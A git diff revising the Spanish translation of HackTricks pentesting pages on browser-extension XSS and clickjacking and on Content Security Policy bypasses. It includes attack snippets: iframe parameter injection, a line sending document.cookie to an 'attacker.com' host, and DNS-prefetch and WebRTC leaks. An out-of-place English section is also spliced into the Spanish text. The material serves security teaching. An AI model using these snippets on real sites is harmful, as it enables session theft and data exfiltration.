desktopCapture requiere confirmación del usuario para que la ventana sea grabada, evitando actividades de grabación clandestinas. -Sin embargo, tales mejoras de seguridad tienden a hacer que las extensiones sean **menos flexibles y menos amigables para el usuario**. Un buen ejemplo aquí es el permiso [activeTab](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission). Su propósito es hacer innecesario solicitar privilegios de host para todo internet. En su lugar, la **extensión puede acceder a la pestaña actual cuando se activa explícitamente**, típicamente haciendo clic en su icono. - -Ese enfoque funciona bien para algunas extensiones, particularmente aquellas donde el usuario necesita activar explícitamente una acción. No **funciona en escenarios donde las extensiones tienen que realizar su trabajo automáticamente** sin embargo (lo que significa ser más conveniente para el usuario) o donde la acción de la extensión no se puede ejecutar inmediatamente y requiere preparación. +Sin embargo, el fortalecimiento de las medidas de seguridad a menudo resulta en una disminución de la flexibilidad y la facilidad de uso de las extensiones. El permiso [activeTab](https://developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) ilustra este compromiso. Se introdujo para eliminar la necesidad de que las extensiones soliciten privilegios de host en toda la internet, permitiendo que las extensiones accedan solo a la pestaña actual mediante activación explícita por parte del usuario. Este modelo es efectivo para extensiones que requieren acciones iniciadas por el usuario, pero no es suficiente para aquellas que requieren acciones automáticas o preventivas, comprometiendo así la conveniencia y la capacidad de respuesta inmediata. ## **Referencias** @@ -128,14 +126,14 @@ Ese enfoque funciona bien para algunas extensiones, particularmente aquellas don
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Aprende a hackear AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: -* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md b/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md index 906140884..0a2e4d455 100644 --- a/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md +++ b/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md @@ -2,118 +2,103 @@
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: -* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
-## XSS en Iframe +## Cross-Site Scripting (XSS) a través de Iframe -**Content script** crea un Iframe indicando una **URL en los parámetros de la fuente del iFrame**: +En esta configuración, se implementa un **script de contenido** para instanciar un Iframe, incorporando una URL con parámetros de consulta como la fuente del Iframe: ```javascript -chrome.storage.local.get("message", result => -{ -frame.src = chrome.runtime.getURL("message.html") + -"?message=" + encodeURIComponent(result.message) + -"&url=https://example.net/explanation"; +chrome.storage.local.get("message", result => { +let constructedURL = chrome.runtime.getURL("message.html") + +"?content=" + encodeURIComponent(result.message) + +"&redirect=https://example.net/details"; +frame.src = constructedURL; }); ``` -Una página html expuesta: **`message.html`**, accesible desde el **navegador**, contiene un código como: -```java -$(() => -{ -let params = new URLSearchParams(location.search); -$(document.body).append(params.get("message") + " "); -$("body > button").click(() => -{ -chrome.tabs.create({ url: params.get("url") }); +Una página HTML de acceso público, **`message.html`**, está diseñada para agregar dinámicamente contenido al cuerpo del documento basado en los parámetros en la URL: +```javascript +$(document).ready(() => { +let urlParams = new URLSearchParams(window.location.search); +let userContent = urlParams.get("content"); +$(document.body).html(`${userContent} `); +$('#detailBtn').on('click', () => { +let destinationURL = urlParams.get("redirect"); +chrome.tabs.create({ url: destinationURL }); }); }); ``` -La página maliciosa ejecuta un script como el siguiente para cambiar el mensaje por un **XSS payload**: +Se ejecuta un script malicioso en la página de un adversario, modificando el parámetro `content` de la fuente del Iframe para introducir un **payload XSS**. Esto se logra actualizando la fuente del Iframe para incluir un script dañino: ```javascript -setTimeout(() => -{ -let frame = document.querySelector("iframe:last-child"); -let src = frame.src; +setTimeout(() => { +let targetFrame = document.querySelector("iframe").src; +let baseURL = targetFrame.split('?')[0]; +let xssPayload = ""; +let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`; -// Remove existing query parameters -src = src.replace(/\?.*/, ""); - -// Add malicious query parameters -src += "?message=" + encodeURIComponent(""); - -// Load into frame -frame.src = src; +document.querySelector("iframe").src = maliciousURL; }, 1000); ``` -Una política de seguridad de contenido permisiva como +Una Política de Seguridad de Contenido excesivamente permisiva como: ```json "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';" ``` -permitirá la ejecución del código JS. +Permite la ejecución de JavaScript, lo que hace que el sistema sea vulnerable a ataques XSS. -Otra forma de activar el XSS a voluntad es ejecutando: +Un enfoque alternativo para provocar el XSS implica crear un elemento Iframe y establecer su origen para incluir el script dañino como el parámetro `content`: ```javascript -let frame = document.createElement("iframe"); -frame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?message=" -+ encodeURIComponent(""); -document.body.appendChild(frame); +let newFrame = document.createElement("iframe"); +newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" + +encodeURIComponent(""); +document.body.append(newFrame); ``` ## XSS basado en DOM + ClickJacking -La primera vulnerabilidad es la vulnerabilidad de Cross-site Scripting (XSS) basada en DOM en **`/html/bookmarks.html`**, a continuación se muestra el JavaScript vulnerable incluido en **`bookmarks.js`**: +Este ejemplo fue tomado del [artículo original](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/). + +El problema principal surge de una vulnerabilidad de Cross-site Scripting (XSS) basada en DOM ubicada en **`/html/bookmarks.html`**. El JavaScript problemático, parte de **`bookmarks.js`**, se detalla a continuación: ```javascript -$('#btAdd').click(function() { -var btname = $('#txtName').val(); -if ($('.custom-button .name').filter(function() { -return $(this).text() === btname; +$('#btAdd').on('click', function() { +var bookmarkName = $('#txtName').val(); +if ($('.custom-button .label').filter(function() { +return $(this).text() === bookmarkName; }).length) return false; -var span = $(''); -span.html('' + btname + ''); -span.append('x'); -span.attr('title', btname); -span.data('id', (new Date().getTime())); -$('div.custom-buttons .existing').append(span); -save_options(); +var bookmarkItem = $('
'); +bookmarkItem.html('' + bookmarkName + ''); +bookmarkItem.append(''); +bookmarkItem.attr('data-title', bookmarkName); +bookmarkItem.data('timestamp', (new Date().getTime())); +$('section.bookmark-container .existing-items').append(bookmarkItem); +persistData(); }); ``` -El JavaScript anterior toma el **valor** del cuadro de texto **`txtName`** y utiliza **concatenación de cadenas para construir HTML** que se agrega al DOM a través de la función [“append()”](https://api.jquery.com/append/) de jQuery. +Este fragmento obtiene el **valor** del campo de entrada **`txtName`** y utiliza **concatenación de cadenas para generar HTML**, que luego se agrega al DOM utilizando la función `.append()` de jQuery. -Normalmente, la Política de Seguridad de Contenido (CSP) de las extensiones de Chrome debería prevenir que esta vulnerabilidad sea explotada. Sin embargo, debido a la **relajación de esta política a través de** [**‘unsafe-eval’**](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src) y el uso de las APIs DOM de jQuery, aún fue posible **explotarla**. Esto se debe a que muchas de las APIs DOM de jQuery hacen uso de [“globalEval()”](https://api.jquery.com/jquery.globaleval/), que automáticamente pasa scripts a [“eval()”](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) al ser agregados al DOM. +Normalmente, la Política de Seguridad de Contenido (CSP) de la extensión de Chrome evitaría tales vulnerabilidades. Sin embargo, debido a la **relajación de CSP con 'unsafe-eval'** y al uso de los métodos de manipulación del DOM de jQuery (que emplean [`globalEval()`](https://api.jquery.com/jquery.globaleval/) para pasar scripts a [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) al insertar en el DOM), la explotación sigue siendo posible. -Aunque esta es una vulnerabilidad grave, por sí sola la explotación es bastante limitada debido a la **interacción del usuario requerida para explotarla**. La víctima tendría que abrir la página, pegar un payload de Cross-site Scripting (XSS) en el campo y hacer clic en el botón "Add" para explotarla. +Si bien esta vulnerabilidad es significativa, su explotación suele depender de la interacción del usuario: visitar la página, ingresar un payload XSS y activar el botón "Agregar". -Para mejorar la explotación de esta vulnerabilidad hacemos uso de una vulnerabilidad separada (**clickjacking**) para reforzar el ataque. - -El siguiente es un extracto del manifiesto de la extensión de Chrome: +Para mejorar esta vulnerabilidad, se explota una vulnerabilidad secundaria de **clickjacking**. El manifiesto de la extensión de Chrome muestra una política extensa de `web_accessible_resources`: ```json -...trimmed for brevity... "web_accessible_resources": [ -"_locales/*", -"bundle/*", +"html/bookmarks.html", "dist/*", "assets/*", "font/*", -"html/bookmarks.html", -"css/*.css", -"js/*.js", -"js/jquery/*.js", -"js/lang/*" +[...] ], -...trimmed for brevity... ``` -La sección anterior demuestra que la extensión abarca mucho con su política de **`web_accessible_resources`**. - -La página **`/html/bookmarks.html`** también puede ser **enmarcada** y por lo tanto **explotada** a través de **clickjacking**. Abusamos de esto para enmarcar esta página en nuestra página web y **superponer el marco con elementos DOM para rediseñar el layout**. Esto hace que la víctima no sea consciente de que está **interactuando realmente con la extensión debajo**. La siguiente animación demuestra este efecto (verifique la animación en el [**artículo original**](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)). +Notablemente, la página **`/html/bookmarks.html`** es propensa al enmarcado, por lo tanto vulnerable al **clickjacking**. Esta vulnerabilidad se aprovecha para enmarcar la página dentro del sitio de un atacante, superponiéndola con elementos DOM para rediseñar la interfaz de manera engañosa. Esta manipulación lleva a las víctimas a interactuar con la extensión subyacente de manera no intencional. ## Referencias @@ -122,14 +107,14 @@ La página **`/html/bookmarks.html`** también puede ser **enmarcada** y por lo
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Aprende hacking de AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: -* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/pentesting-web/content-security-policy-csp-bypass/README.md b/pentesting-web/content-security-policy-csp-bypass/README.md index 279da2beb..4d00f9dd5 100644 --- a/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/pentesting-web/content-security-policy-csp-bypass/README.md @@ -1,57 +1,59 @@ -# Evasión de la Política de Seguridad de Contenido (CSP) +# Bypass de la Política de Seguridad de Contenido (CSP)
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: -* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
-¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores! +Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores. **Perspectivas de Hacking**\ -Interactúa con contenido que profundiza en la emoción y los desafíos del hacking +Participa en contenido que explora la emoción y los desafíos del hacking **Noticias de Hacking en Tiempo Real**\ -Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e insights en tiempo real +Mantente al día con el mundo del hacking a través de noticias e información en tiempo real **Últimos Anuncios**\ -Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones críticas de la plataforma +Mantente informado sobre los nuevos programas de recompensas por errores y actualizaciones importantes de plataformas -**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo! +**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ¡y comienza a colaborar con los mejores hackers hoy! -## Qué es CSP +## ¿Qué es CSP? -La Política de Seguridad de Contenido o CSP es una tecnología integrada en el navegador que **ayuda a proteger contra ataques como el scripting entre sitios (XSS)**. Enumera y describe rutas y fuentes, de las cuales el navegador puede cargar recursos de manera segura. Los recursos pueden incluir imágenes, marcos, javascript y más. Aquí hay un ejemplo de recursos que se permiten cargar y ejecutar desde el dominio local (self) y permitir funciones de ejecución de código en cadena como `eval`, `setTimeout` o `setInterval:` +La Política de Seguridad de Contenido (CSP) es reconocida como una tecnología del navegador, principalmente destinada a **proteger contra ataques como scripting entre sitios (XSS)**. Funciona definiendo y detallando rutas y fuentes desde las cuales el navegador puede cargar recursos de forma segura. Estos recursos incluyen una variedad de elementos como imágenes, marcos y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluidos recursos en línea y la ejecución de código de cadena a través de funciones como `eval`, `setTimeout` o `setInterval`. -La Política de Seguridad de Contenido se implementa a través de **encabezados de respuesta** o **elementos meta de la página HTML**. El navegador sigue la política recibida y bloquea activamente las violaciones a medida que se detectan. +La implementación de CSP se realiza a través de **encabezados de respuesta** o mediante la incorporación de **elementos meta en la página HTML**. Siguiendo esta política, los navegadores hacen cumplir proactivamente estas estipulaciones y bloquean inmediatamente cualquier violación detectada. -Implementado a través del encabezado de respuesta: -```http +- Implementado a través de encabezado de respuesta: +``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` -Implementado a través de la etiqueta meta: -```markup +- Implementado a través de la etiqueta meta: +```xml ``` ### Encabezados -* `Content-Security-Policy` -* `Content-Security-Policy-Report-Only` Este no bloqueará nada, solo enviará informes (usar en ambiente Pre). +CSP puede ser aplicado o monitoreado utilizando estos encabezados: -## Definiendo recursos +* `Content-Security-Policy`: Aplica el CSP; el navegador bloquea cualquier violación. +* `Content-Security-Policy-Report-Only`: Utilizado para monitoreo; reporta violaciones sin bloquearlas. Ideal para pruebas en entornos de preproducción. -CSP funciona restringiendo los orígenes desde donde se puede cargar contenido activo y pasivo. Además, puede restringir ciertos aspectos del contenido activo, como la ejecución de javascript en línea y el uso de `eval()`. -``` +### Definición de Recursos + +CSP restringe los orígenes para cargar contenido activo y pasivo, controlando aspectos como la ejecución de JavaScript en línea y el uso de `eval()`. Un ejemplo de política es: +```bash default-src 'none'; img-src 'self'; script-src 'self' https://code.jquery.com; @@ -64,44 +66,57 @@ object-src 'none'; ``` ### Directivas -* **script-src**: Esta directiva especifica las fuentes permitidas para JavaScript. Esto incluye no solo URLs cargadas directamente en elementos, sino también cosas como manejadores de eventos de script en línea (onclick) y hojas de estilo XSLT que pueden desencadenar la ejecución de scripts. -* **default-src**: Esta directiva define la política para la obtención de recursos por defecto. Cuando las directivas de obtención están ausentes en el encabezado CSP, el navegador sigue esta directiva por defecto. -* **Child-src**: Esta directiva define los recursos permitidos para trabajadores web y contenidos de marcos incrustados. -* **connect-src**: Esta directiva restringe las URLs para cargar usando interfaces como fetch, websocket, XMLHttpRequest. -* **frame-src**: Esta directiva restringe las URLs para marcos que pueden ser llamados. -* **frame-ancestors**: Esta directiva especifica las fuentes que pueden incrustar la página actual. Esta directiva se aplica a [``](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/frame), [` // The bot will load an URL with the payload ` nota que este **script** se **cargará** porque está **permitido por 'self'**. Además, y debido a que WordPress está instalado, un atacante podría abusar del **ataque SOME** a través del **punto final de callback vulnerable** que **bypassea el CSP** para otorgar más privilegios a un usuario, instalar un nuevo plugin...\ -Para más información sobre cómo realizar este ataque, consulta [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) +Un atacante puede abusar de ese punto final para **generar un ataque SOME** contra WordPress e **incrustarlo** dentro de `` ten en cuenta que este **script** se **cargará** porque está **permitido por 'self'**. Además, y debido a que WordPress está instalado, un atacante podría abusar del **ataque SOME** a través del **punto final callback** **vulnerable** que **burla la CSP** para otorgar más privilegios a un usuario, instalar un nuevo plugin...\ +Para obtener más información sobre cómo realizar este ataque, consulta [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) -## CSP Exfiltration Bypasses +## Bypasses de Exfiltración de CSP -Si hay un CSP estricto que no te permite **interactuar con servidores externos**, hay algunas cosas que siempre puedes hacer para exfiltrar la información. +Si hay una CSP estricta que no te permite **interactuar con servidores externos**, hay algunas cosas que siempre puedes hacer para exfiltrar la información. ### Location -Podrías simplemente actualizar la ubicación para enviar al servidor del atacante la información secreta: +Simplemente podrías actualizar la ubicación para enviar al servidor del atacante la información secreta: ```javascript var sessionid = document.cookie.split('=')[1]+"."; document.location = "https://attacker.com/?" + sessionid; ``` ### Etiqueta meta -Podrías redirigir inyectando una etiqueta meta (esto es solo una redirección, esto no filtrará contenido) +Podrías redirigir inyectando una etiqueta meta (esto es solo una redirección, no filtrará contenido) ```html ``` ### DNS Prefetch -Para cargar páginas más rápido, los navegadores van a pre-resolver nombres de host en direcciones IP y almacenarlas para su uso posterior.\ -Puedes indicar a un navegador que pre-resuelva un nombre de host con: `` +Para cargar páginas más rápido, los navegadores van a pre-resolver los nombres de host en direcciones IP y almacenarlos en caché para un uso posterior.\ +Puedes indicar a un navegador que pre-resuelva un nombre de host con: `` Podrías abusar de este comportamiento para **exfiltrar información sensible a través de solicitudes DNS**: ```javascript @@ -653,7 +650,25 @@ var sessionid = document.cookie.split('=')[1]+"."; var body = document.getElementsByTagName('body')[0]; body.innerHTML = body.innerHTML + ""; ``` -Otra forma: +### Bypassing Content Security Policy (CSP) + +--- + +#### Introduction + +Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a specific page. However, there are ways to bypass CSP protections and execute malicious code on a target website. + +#### Bypassing CSP using `unsafe-inline` + +One common way to bypass CSP is by using the `unsafe-inline` directive. This directive allows the execution of inline scripts and styles, which are normally blocked by CSP. By injecting malicious code directly into the HTML document or using the `style` attribute to add inline styles, an attacker can bypass CSP protections that restrict inline scripts and styles. + +#### Bypassing CSP using `unsafe-eval` + +Another way to bypass CSP is by using the `unsafe-eval` directive. This directive allows the use of `eval()` and similar functions for executing dynamic code. By exploiting this directive, an attacker can execute arbitrary code on a target website, bypassing CSP protections that block the use of `eval()` and other dynamic code execution methods. + +#### Conclusion + +While Content Security Policy (CSP) is a powerful security mechanism for protecting web applications against various code injection attacks, it is not foolproof. By understanding how CSP works and the potential bypass techniques like `unsafe-inline` and `unsafe-eval`, attackers can find ways to circumvent CSP protections and execute malicious code on vulnerable websites. Web developers should be aware of these bypass techniques and implement additional security measures to mitigate the risks posed by CSP bypass vulnerabilities. ```javascript const linkEl = document.createElement('link'); linkEl.rel = 'prefetch'; @@ -665,14 +680,14 @@ Para evitar que esto suceda, el servidor puede enviar el encabezado HTTP: X-DNS-Prefetch-Control: off ``` {% hint style="info" %} -Aparentemente, esta técnica no funciona en navegadores sin cabeza (bots) +Aparentemente, esta técnica no funciona en navegadores sin interfaz (bots) {% endhint %} ### WebRTC -En varias páginas puedes leer que **WebRTC no verifica la política `connect-src`** del CSP. +En varias páginas se puede leer que **WebRTC no verifica la política `connect-src`** del CSP. -De hecho, puedes _filtrar_ información utilizando una _solicitud DNS_. Mira este código: +De hecho, se pueden _filtrar_ información utilizando una _solicitud DNS_. Echa un vistazo a este código: ```javascript (async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})() ``` @@ -688,12 +703,12 @@ var pc = new RTCPeerConnection({ }); pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` -## Verificación de Políticas CSP en Línea +## Verificación de las políticas de CSP en línea * [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) * [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) -## Creación Automática de CSP +## Creación automática de CSP [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) @@ -705,23 +720,25 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); * [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme) * [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg) * [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/) +* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) + ​
-Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores. +Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs! **Perspectivas de Hacking**\ -Interactúa con contenido que profundiza en la emoción y los desafíos del hacking. +Involúcrate con contenido que explora la emoción y los desafíos del hacking **Noticias de Hacking en Tiempo Real**\ -Mantente al día con el mundo del hacking a través de noticias e información en tiempo real. +Mantente al día con el mundo del hacking a través de noticias e información en tiempo real **Últimos Anuncios**\ -Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones críticas de la plataforma. +Mantente informado sobre los nuevos programas de recompensas por bugs y actualizaciones importantes de plataformas -**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo. +**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
@@ -729,10 +746,10 @@ Mantente informado con los lanzamientos de nuevas recompensas por errores y actu Otras formas de apoyar a HackTricks: -* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos. +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/pentesting-web/cors-bypass.md b/pentesting-web/cors-bypass.md index 4a349d216..649e51768 100644 --- a/pentesting-web/cors-bypass.md +++ b/pentesting-web/cors-bypass.md @@ -1,49 +1,49 @@ -# CORS - Configuraciones incorrectas y bypass +# CORS - Configuraciones incorrectas y Bypass
